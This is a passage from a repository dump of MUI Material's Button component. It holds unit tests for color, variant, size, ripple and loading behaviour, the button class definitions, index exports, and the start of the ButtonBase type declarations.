expectWarningWithFragments(errorSpy, ['nativebutton', 'false', 'non-<button>']);\n    errorSpy.mockRestore();\n  });\n\n  it('does not forward focusableWhenDisabled to ButtonBase', () => {\n    render(\n      <Button disabled focusableWhenDisabled>\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n    expect(button).to.have.attribute('disabled');\n    expect(button).not.to.have.attribute('aria-disabled');\n  });\n\n  it('startIcon and endIcon should have icon class', () => {\n    render(\n      <Button startIcon={<span>start icon</span>} endIcon={<span>end icon</span>}>\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n    const startIcon = button.querySelector(`.${classes.startIcon}`);\n    const endIcon = button.querySelector(`.${classes.endIcon}`);\n    expect(startIcon).to.have.class(classes.icon);\n    expect(endIcon).to.have.class(classes.icon);\n  });\n\n  it('should add the appropriate color class to root element based on color prop', () => {\n    render(\n      <React.Fragment>\n        <Button color=\"inherit\" data-testid=\"color-inherit\">\n          Hello World\n        </Button>\n        <Button color=\"primary\" data-testid=\"color-primary\">\n          Hello World\n        </Button>\n        <Button color=\"secondary\" data-testid=\"color-secondary\">\n          Hello World\n        </Button>\n        <Button color=\"success\" data-testid=\"color-success\">\n          Hello World\n        </Button>\n        <Button color=\"error\" data-testid=\"color-error\">\n          Hello World\n        </Button>\n        <Button color=\"info\" data-testid=\"color-info\">\n          Hello World\n        </Button>\n        <Button color=\"warning\" data-testid=\"color-warning\">\n          Hello World\n        </Button>\n      </React.Fragment>,\n    );\n\n    expect(screen.getByTestId('color-inherit')).to.have.class(classes.colorInherit);\n    expect(screen.getByTestId('color-primary')).to.have.class(classes.colorPrimary);\n    expect(screen.getByTestId('color-secondary')).to.have.class(classes.colorSecondary);\n    expect(screen.getByTestId('color-success')).to.have.class(classes.colorSuccess);\n    expect(screen.getByTestId('color-error')).to.have.class(classes.colorError);\n    expect(screen.getByTestId('color-info')).to.have.class(classes.colorInfo);\n    expect(screen.getByTestId('color-warning')).to.have.class(classes.colorWarning);\n  });\n\n  it('can render a text primary button', () => {\n    render(<Button color=\"primary\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n  });\n\n  it('should render a text secondary button', () => {\n    render(<Button color=\"secondary\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).to.have.class(classes.colorSecondary);\n  });\n\n  it('should render a text success button', () => {\n    render(<Button color=\"success\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorSuccess);\n  });\n\n  it('should render a text error button', () => {\n    render(<Button color=\"error\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorError);\n  });\n\n  it('should render a text info button', () => {\n    render(<Button color=\"info\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorInfo);\n  });\n\n  it('should render a text warning button', () => {\n    render(<Button color=\"warning\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).to.have.class(classes.colorWarning);\n  });\n\n  it('should render an outlined button', () => {\n    render(<Button variant=\"outlined\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.text);\n  });\n\n  it('should render a primary outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"primary\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n  });\n\n  it('should render a secondary outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"secondary\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n  });\n\n  it('should render an inherit outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"inherit\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).to.have.class(classes.colorInherit);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n  });\n\n  it('should render a success outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"success\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).to.have.class(classes.colorSuccess);\n  });\n\n  it('should render a error outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"error\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorError);\n  });\n\n  it('should render a info outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"info\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).to.have.class(classes.colorInfo);\n  });\n\n  it('should render a warning outlined button', () => {\n    render(\n      <Button variant=\"outlined\" color=\"warning\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).to.have.class(classes.colorWarning);\n  });\n\n  it('should render a contained button', () => {\n    render(<Button variant=\"contained\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n  });\n\n  it('should render a contained primary button', () => {\n    render(\n      <Button variant=\"contained\" color=\"primary\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n  });\n\n  it('should render a contained secondary button', () => {\n    render(\n      <Button variant=\"contained\" color=\"secondary\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n  });\n\n  it('should render a contained success button', () => {\n    render(\n      <Button variant=\"contained\" color=\"success\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorSuccess);\n  });\n\n  it('should render a contained error button', () => {\n    render(\n      <Button variant=\"contained\" color=\"error\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorError);\n  });\n\n  it('should render a contained info button', () => {\n    render(\n      <Button variant=\"contained\" color=\"info\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorWarning);\n    expect(button).to.have.class(classes.colorInfo);\n  });\n\n  it('should render a contained warning button', () => {\n    render(\n      <Button variant=\"contained\" color=\"warning\">\n        Hello World\n      </Button>,\n    );\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.colorPrimary);\n    expect(button).not.to.have.class(classes.colorSecondary);\n    expect(button).not.to.have.class(classes.colorSuccess);\n    expect(button).not.to.have.class(classes.colorError);\n    expect(button).not.to.have.class(classes.colorInfo);\n    expect(button).to.have.class(classes.colorWarning);\n  });\n\n  it('should render a small text button', () => {\n    render(<Button size=\"small\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a large text button', () => {\n    render(<Button size=\"large\">Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a small outlined button', () => {\n    render(\n      <Button variant=\"outlined\" size=\"small\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a large outlined button', () => {\n    render(\n      <Button variant=\"outlined\" size=\"large\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).to.have.class(classes.outlined);\n    expect(button).not.to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a small contained button', () => {\n    render(\n      <Button variant=\"contained\" size=\"small\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).to.have.class(classes.contained);\n    expect(button).to.have.class(classes.sizeSmall);\n    expect(button).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a large contained button', () => {\n    render(\n      <Button variant=\"contained\" size=\"large\">\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.root);\n    expect(button).not.to.have.class(classes.text);\n    expect(button).not.to.have.class(classes.outlined);\n    expect(button).to.have.class(classes.contained);\n    expect(button).not.to.have.class(classes.sizeSmall);\n    expect(button).to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a button with startIcon', () => {\n    render(<Button startIcon={<span>icon</span>}>Hello World</Button>);\n    const button = screen.getByRole('button');\n    const startIcon = button.querySelector(`.${classes.startIcon}`);\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(startIcon).not.to.have.class(classes.endIcon);\n  });\n\n  it('should render a button with endIcon', () => {\n    render(<Button endIcon={<span>icon</span>}>Hello World</Button>);\n    const button = screen.getByRole('button');\n    const endIcon = button.querySelector(`.${classes.endIcon}`);\n\n    expect(button).to.have.class(classes.root);\n    expect(button).to.have.class(classes.text);\n    expect(endIcon).not.to.have.class(classes.startIcon);\n  });\n\n  it('should have a ripple', async () => {\n    render(<Button TouchRippleProps={{ className: 'touch-ripple' }}>Hello World</Button>);\n\n    const button = screen.getByRole('button');\n    await ripple.startTouch(button);\n    expect(button.querySelector('.touch-ripple')).not.to.equal(null);\n  });\n\n  it('can disable the ripple', async () => {\n    render(\n      <Button disableRipple TouchRippleProps={{ className: 'touch-ripple' }}>\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n    await ripple.startTouch(button);\n    expect(button.querySelector('.touch-ripple')).to.equal(null);\n  });\n\n  it('can disable the elevation', () => {\n    render(<Button disableElevation>Hello World</Button>);\n    const button = screen.getByRole('button');\n\n    expect(button).to.have.class(classes.disableElevation);\n  });\n\n  // JSDOM doesn't support :focus-visible\n  it.skipIf(isJsdom())('should have a focusRipple', async function test() {\n    render(\n      <Button TouchRippleProps={{ classes: { ripplePulsate: 'pulsate-focus-visible' } }}>\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    simulateKeyboardDevice();\n    await ripple.startFocus(button);\n\n    expect(button.querySelector('.pulsate-focus-visible')).not.to.equal(null);\n  });\n\n  // JSDOM doesn't support :focus-visible\n  it.skipIf(isJsdom())('can disable the focusRipple', async function test() {\n    render(\n      <Button\n        disableFocusRipple\n        TouchRippleProps={{ classes: { ripplePulsate: 'pulsate-focus-visible' } }}\n      >\n        Hello World\n      </Button>,\n    );\n\n    const button = screen.getByRole('button');\n\n    simulateKeyboardDevice();\n    await ripple.startFocus(button);\n\n    expect(button.querySelector('.pulsate-focus-visible')).to.equal(null);\n  });\n\n  describe.skipIf(!isJsdom())('server-side', () => {\n    it('should server-side render', () => {\n      const { container } = renderToString(<Button>Hello World</Button>);\n      expect(container.firstChild).to.have.text('Hello World');\n    });\n  });\n\n  it('should automatically change the button to an anchor element when href is provided', () => {\n    const { container } = render(<Button href=\"https://google.com\">Hello</Button>);\n    const button = container.firstChild;\n\n    expect(button).to.have.property('nodeName', 'A');\n    expect(button).not.to.have.attribute('role');\n    expect(button).not.to.have.attribute('type');\n    expect(button).to.have.attribute('href', 'https://google.com');\n  });\n\n  it('should forward classes to ButtonBase', () => {\n    const disabledClassName = 'testDisabledClassName';\n    const { container } = render(<Button disabled classes={{ disabled: disabledClassName }} />);\n\n    expect(container.querySelector('button')).to.have.class(disabledClassName);\n  });\n\n  it(\"should disable ripple when MuiButtonBase has disableRipple in theme's defaultProps\", () => {\n    const theme = createTheme({\n      components: {\n        MuiButtonBase: {\n          defaultProps: {\n            disableRipple: true,\n          },\n        },\n      },\n    });\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Button>Disabled ripple</Button>\n      </ThemeProvider>,\n    );\n    expect(container.firstChild.querySelector(`.${touchRippleClasses.root}`)).to.equal(null);\n  });\n\n  it(\"should disable ripple when MuiButtonBase has disableRipple in theme's defaultProps but override on the individual Buttons if provided\", async () => {\n    const theme = createTheme({\n      components: {\n        MuiButtonBase: {\n          defaultProps: {\n            disableRipple: true,\n          },\n        },\n      },\n    });\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Button disableRipple={false}>Enabled ripple</Button>\n        <Button>Disabled ripple 1</Button>\n        <Button>Disabled ripple 2</Button>\n      </ThemeProvider>,\n    );\n    await ripple.startTouch(container.querySelector('button'));\n    expect(container.querySelectorAll(`.${touchRippleClasses.root}`)).to.have.length(1);\n  });\n\n  describe('Emotion compatibility', () => {\n    it('classes.root should overwrite builtin styles.', () => {\n      // This is pink\n      const color = 'rgb(255, 192, 204)';\n\n      render(\n        <ClassNames>\n          {({ css }) => (\n            <Button color=\"primary\" classes={{ root: css({ color }) }}>\n              This text should be pink\n            </Button>\n          )}\n        </ClassNames>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(getComputedStyle(button).color).to.equal(color);\n    });\n\n    it('className should overwrite classes.root and builtin styles.', () => {\n      const colorPink = 'rgb(255, 192, 204)';\n      const colorRed = 'rgb(255, 0, 0)';\n\n      render(\n        <ClassNames>\n          {({ css }) => (\n            <Button\n              color=\"primary\"\n              className={css({ color: colorRed })}\n              classes={{ root: css({ color: colorPink }) }}\n            >\n              This text should be red\n            </Button>\n          )}\n        </ClassNames>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(getComputedStyle(button).color).to.equal(colorRed);\n    });\n\n    it('classes.* should overwrite builtin styles.', () => {\n      // This is pink\n      const color = 'rgb(255, 192, 204)';\n\n      render(\n        <ClassNames>\n          {({ css }) => (\n            <Button color=\"primary\" classes={{ text: css({ color }) }}>\n              This text should be pink\n            </Button>\n          )}\n        </ClassNames>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(getComputedStyle(button).color).to.equal(color);\n    });\n  });\n\n  describe('prop: loading', () => {\n    it('should not have a loading wrapper by default', () => {\n      const { container } = render(<Button>Test</Button>);\n\n      expect(container.querySelector(`.${classes.loadingWrapper}`)).to.equal(null);\n    });\n\n    it('should have a loading wrapper when loading is boolean', () => {\n      const { container, rerender } = render(<Button loading={false}>Test</Button>);\n\n      expect(container.querySelector(`.${classes.loadingWrapper}`)).not.to.equal(null);\n\n      rerender(<Button loading>Test</Button>);\n\n      expect(container.querySelector(`.${classes.loadingWrapper}`)).not.to.equal(null);\n    });\n\n    it('disables the button', () => {\n      render(<Button loading />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.property('tabIndex', -1);\n      expect(button).to.have.property('disabled', true);\n    });\n\n    it('cannot be enabled while `loading`', () => {\n      render(<Button disabled={false} loading />);\n\n      expect(screen.getByRole('button')).to.have.property('disabled', true);\n    });\n\n    it('renders a progressbar that is labelled by the button', () => {\n      render(<Button loading>Submit</Button>);\n\n      const button = screen.getByRole('button');\n      const progressbar = within(button).getByRole('progressbar');\n      expect(progressbar).toHaveAccessibleName('Submit');\n    });\n\n    it('has no id when `loading=false` and no `id` prop is present`', () => {\n      const id = 'some-id';\n      render(\n        <React.Fragment>\n          <Button />\n          <Button id={id} />\n        </React.Fragment>,\n      );\n\n      const buttons = screen.getAllByRole('button');\n\n      expect(buttons[0]).not.to.have.attribute('id');\n      expect(buttons[1]).to.have.attribute('id', id);\n    });\n  });\n\n  describe('prop: loadingIndicator', () => {\n    it('is not rendered by default', () => {\n      render(<Button loadingIndicator=\"loading\">Test</Button>);\n\n      expect(screen.getByRole('button')).to.have.text('Test');\n    });\n\n    it('is rendered before the children when `loading`', () => {\n      render(\n        <Button loadingIndicator=\"loading…\" loading>\n          Test\n        </Button>,\n      );\n\n      expect(screen.getByRole('button')).to.have.text('loading…Test');\n    });\n\n    it('should have loading position class attached to root when `loading`', () => {\n      const view = render(<Button loading>Test</Button>);\n      expect(screen.getByRole('button')).to.have.class(classes.loadingPositionCenter);\n\n      view.rerender(\n        <Button loading loadingPosition=\"start\">\n          Test\n        </Button>,\n      );\n      expect(screen.getByRole('button')).to.have.class(classes.loadingPositionStart);\n\n      view.rerender(\n        <Button loading loadingPosition=\"end\">\n          Test\n        </Button>,\n      );\n      expect(screen.getByRole('button')).to.have.class(classes.loadingPositionEnd);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Button/buttonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"text\"`. */\n  text: string;\n  /** Styles applied to the root element if `variant=\"outlined\"`. */\n  outlined: string;\n  /** Styles applied to the root element if `variant=\"contained\"`. */\n  contained: string;\n  /** Styles applied to the root element if `disableElevation={true}`. */\n  disableElevation: string;\n  /** State class applied to the ButtonBase root element if the button is keyboard focused. */\n  focusVisible: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `color=\"inherit\"`. */\n  colorInherit: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `size=\"large\"`. */\n  sizeLarge: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n  /** Styles applied to the icon element if supplied */\n  icon: string;\n  /** Styles applied to the startIcon element if supplied. */\n  startIcon: string;\n  /** Styles applied to the endIcon element if supplied. */\n  endIcon: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** Styles applied to the root element if `loading={true}`. */\n  loading: string;\n  /** Styles applied to the loadingWrapper element. */\n  loadingWrapper: string;\n  /** Styles applied to the loadingIconPlaceholder element. */\n  loadingIconPlaceholder: string;\n  /** Styles applied to the loadingIndicator element. */\n  loadingIndicator: string;\n  /** Styles applied to the root element if `loadingPosition=\"center\"`. */\n  loadingPositionCenter: string;\n  /** Styles applied to the root element if `loadingPosition=\"start\"`. */\n  loadingPositionStart: string;\n  /** Styles applied to the root element if `loadingPosition=\"end\"`. */\n  loadingPositionEnd: string;\n}\n\nexport type ButtonClassKey = keyof ButtonClasses;\n\nexport function getButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiButton', slot);\n}\n\nconst buttonClasses: ButtonClasses = generateUtilityClasses('MuiButton', [\n  'root',\n  'text',\n  'outlined',\n  'contained',\n  'disableElevation',\n  'focusVisible',\n  'disabled',\n  'colorInherit',\n  'colorPrimary',\n  'colorSecondary',\n  'colorSuccess',\n  'colorError',\n  'colorInfo',\n  'colorWarning',\n  'sizeMedium',\n  'sizeSmall',\n  'sizeLarge',\n  'fullWidth',\n  'startIcon',\n  'endIcon',\n  'icon',\n  'loading',\n  'loadingWrapper',\n  'loadingIconPlaceholder',\n  'loadingIndicator',\n  'loadingPositionCenter',\n  'loadingPositionStart',\n  'loadingPositionEnd',\n]);\n\nexport default buttonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Button/index.d.ts",
    "content": "export { default } from './Button';\nexport * from './Button';\n\nexport { default as buttonClasses } from './buttonClasses';\nexport * from './buttonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Button/index.js",
    "content": "export { default } from './Button';\n\nexport { default as buttonClasses } from './buttonClasses';\nexport * from './buttonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/ButtonBase.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { TouchRippleActions, TouchRippleProps } from './TouchRipple';\nimport { OverrideProps, OverridableComponent, OverridableTypeMap } from '../OverridableComponent';\nimport { ButtonBaseClasses } from './buttonBaseClasses';\n\nexport { TouchRippleActions, TouchRippleProps };\n\nexport interface ButtonBaseOwnProps {\n  /**\n   * A ref for imperative actions.\n   * It currently only supports `focusVisible()` action.\n   */\n  action?: React.Ref<ButtonBaseActions> | undefined;\n  /**\n   * If `true`, the ripples are centered.\n   * They won't start at the cursor interaction position.\n   * @default false\n   */\n  centerRipple?: boolean | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ButtonBaseClasses> | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple?: boolean | undefined;\n  /**\n   * If `true`, the touch ripple effect is disabled.\n   * @default false\n   */\n  disableTouchRipple?: boolean | undefined;\n  /**\n   * If `true`, the base button will have a keyboard focus ripple.\n   * @default false\n   */\n  focusRipple?: boolean | undefined;\n  /**\n   * This prop can help identify which element has keyboard focus.\n   * The class name will be applied when the element gains the focus through keyboard interaction.\n   * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo).\n   * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/HEAD/explainer.md).\n   * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components\n   * if needed.\n   */\n  focusVisibleClassName?: string | undefined;\n  /**\n   * The component used to render a link when the `href` prop is provided.\n   * @default 'a'\n   */\n  LinkComponent?: React.ElementType | undefined;\n  /**\n   * Whether the custom component is expected to render a native `<button>` element\n   * when passing a React component to the `component` or `slots` prop.\n   */\n  nativeButton?: boolean | undefined;\n  /**\n   * Callback fired when the component is focused with a keyboard.\n   * We trigger a `onFocus` callback too.\n   */\n  onFocusVisible?: React.FocusEventHandler<any> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * @default 0\n   */\n  tabIndex?: NonNullable<React.HTMLAttributes<any>['tabIndex']> | undefined;\n  /**\n   * Props applied to the `TouchRipple` element.\n   */\n  TouchRippleProps?: Partial<TouchRippleProps> | undefined;\n  /**\n   * A ref that points to the `TouchRipple` element.\n   */\n  touchRippleRef?: React.Ref<TouchRippleActions> | undefined;\n}\n\nexport interface ButtonBaseTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'button',\n> {\n  props: AdditionalProps & ButtonBaseOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n * utility to create component types that inherit props from ButtonBase.\n * This component has an additional overload if the `href` prop is set which\n * can make extension quite tricky\n */\nexport interface ExtendButtonBaseTypeMap<TypeMap extends OverridableTypeMap> {\n  